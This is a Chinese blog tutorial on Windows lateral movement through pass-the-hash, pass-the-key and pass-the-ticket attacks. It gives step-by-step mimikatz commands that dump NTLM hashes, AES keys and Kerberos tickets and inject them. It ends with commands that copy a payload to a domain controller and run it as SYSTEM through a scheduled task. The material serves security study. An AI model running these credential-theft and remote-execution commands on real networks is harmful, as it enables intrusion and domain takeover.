首页 > 其他分享 >传递攻击-横向移动

传递攻击-横向移动

时间:2023-06-10 21:24:27浏览次数:43  
标签:攻击 NTLM 横向 传递 mimikatz 票据 哈希 移动

传递攻击-横向移动

目录

一、哈希传递攻击(PTH)

哈希传递攻击(Pass The Hash)是基于 NTLM 认证缺陷的一种攻击方式,攻击者可以利用用户的密码哈希值来进行 NTLM 认证。

二、哈希传递条件

哈希传递攻击的前提:有管理员的 NTLM Hash ,并且目标机器开放445端口。

工作组环境中:

(1)Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。

(2)Windows Vista 之后的机器,只能是administrator(SID为500)用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。

域环境中:

只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。

三、哈希传递攻击步骤

1、使用CS远控一台机器

2、通过这台机器进行信息收集,使用mimikatz抓取administrator用户的NTLM哈希值

mimikatz sekurlsa::logonPasswords

3、拿到哈希值,可以尝试哈希传递

mimikatz "sekurlsa::pth" /user:用户名 /domain:域名 /ntlm:ntlm值

四、密钥传递攻击(PTK)

密钥传递攻击 (pass the key)是在域中攻击 kerberos 认证的一种方式,原理是通过获取用户的aes,通过 kerberos 认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能。

五、KB2871997补丁

安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存不保存明文的密码。

KB2871997 补丁发布后常规的 Pass The Hash已经无法成功(除了 SID 500 账号例外),但是还可以通过AES密钥来替代NTLM验证进行横向的操作。

六、密钥传递攻击步骤

1、使用CS远控一台域内机器

2、抓取aes值

mimikatz sekurlsa::ekeys

3、拿到aes值,可以尝试密码传递

sekurlsa::pth /user:用户名 /domain:域名 /aes256:aes256 值

七、票据传递攻击(PTT)

票据传递攻击(Pass-the-Ticket) 是一类利用后攻击,涉及盗窃和重复使用 Kerberos 票证,以在受感染的环境中对系统进行身份验证。在 Pass-the-Ticket 攻击中,攻击者从一台计算机上窃取 Kerberos 票证,并重新使用它来访问受感染环境中的另一台计算机。

八、票据传递攻击两种方式

1、自己制作票据

2、传递内存中的票据

九、票据传递攻击步骤

以下是传递内存中的票据方式:

1、导出内存的票据

mimikatz "sekurlsa::tickets" /export 

2、清除内存中的票据

mimikatz kerberos::purge

3、将高权限的票据文件注入内存

mimikatz kerberos::ptt 票据名

4、查看票据

mimikatz kerberos::tgt

5、上线域控

(1)复制文件

shell copy C:\Users\Administrator\Desktop\trust\can.exe \\dc.candada.com\C$

(2)创建计划任务

shell schtasks /create /s dc.candada.com /tn can /sc onstart /tr c:\can.exe /ru system /f

(3)运行计划任务

shell schtasks /run /s dc.candada.com /i /tn "can"

标签:攻击,NTLM,横向,传递,mimikatz,票据,哈希,移动
From: https://www.cnblogs.com/candada/p/17471946.html

相关文章

  • Nginx 获取与传递真实访问IP
    1.环境首先,我这里的环境为nginx-1.1.2.2,通过yum安装。如果想要源码安装,需要通过如下参数,启用ngx_http_realip_module模块。--with-http_realip_module而传递真实IP到后端,需要使用到ngx_http_proxy_module模块,此模块默认会编译。对于Nginx的安装和添加nginx模块等,有问题可参考......
  • 移动端H5前端性能优化脚本执行优化
    移动端+HTML5,这个组合对前端工程师来说是个不小的挑战:如何让开发的页面能有更好的体验?这就是我们今天讨论的话题:移动端HTML5页面前端性能优化。如何优化HTML5在移动设置上的性能表现,首先需要明确以下几个原则:1、PC优化手段在Mobile端同样适用。2、在Mobile侧我们提出三秒种渲染完......
  • 值传递与地址传递的区别
    值传递与地址传递的区别#include<stdio.h>intArrayCopy(char*ori,char*cop,charLength){charloop;for(loop=0;loop<Length;loop++){*cop++=*ori++;}return0;}intmain(){charoriginal[10]={1,2,3,4,......
  • JS默认参数传递额外参数(多文件上传, uploading)
    <!--modulename:应用介绍--><template><divclass="main-intro":style="{padding:props.type==='serviceType'?'0':'016px',margin:props.type==='serviceType�......
  • django form data如何传递到template的vue
    参考:https://docs.djangoproject.com/en/4.2/ref/templates/builtins/#json-scriptafelyoutputsaPythonobjectasJSON,wrappedina<script>tag,readyforusewithJavaScript.Argument:TheoptionalHTML“id”ofthe<script>tag.Forexample......
  • python tkinter 动态批量建立Widget时,combobox 或 entry传递参数问题
    terminal_combobox.bind('<<ComboboxSelected>>',lambdaevent,arg=key_dict:self.terminal_select(key_dict=arg))#注意,传递参数方法defterminal_select(self,key_dict,*args):var=self.dict_widget[key_d......
  • Qt+QtWebApp开发笔记(五):http服务器html中使用json触发ajax与后台交互实现数据更新传递
    前言  前面完成了页面的跳转、登录,很多时候不刷新页面就想刷新局部数据,此时ajax就是此种技术,且是异步的。  本篇实现网页内部使用js调用ajax实现异步交互数据。  在js中使用ajax是通过XMLHttpRequest来实现的。下载地址  链接:https://pan.baidu.com/s/1tJMTPhIIyVE40......
  • Delphi 移动窗体
    移动窗体使用非标题栏移动窗体(在窗体中增加私有方法,如下)procedureTForm1.WMNCHitTest(varMsg:TWMNCHitTest);beginDefaultHandler(msg);ifMsg.Result=HTCLIENTthenMsg.Result:=HTCAPTION;end;方法2procedureTForm1.FormMouseMove(Sender:TObject......
  • 怎么将C#通过发消息传递给指定C++窗口
    C#发送方//引入Interop库usingSystem.Runtime.InteropServices;//定义SendMessageAPI[DllImport("user32.dll",CharSet=CharSet.Auto,SetLastError=false)]staticexternIntPtrSendMessage(IntPtrhWnd,uintMsg,IntPtrwParam,IntPtrlParam);//......
  • 移动语义的简单示例
    下面是一个使用移动语义的简单示例:#include<iostream>#include<string>classMyString{public:MyString():m_data(nullptr),m_size(0){}MyString(constchar*str):MyString(){m_size=strlen(str);m_data=newchar[m_size+1......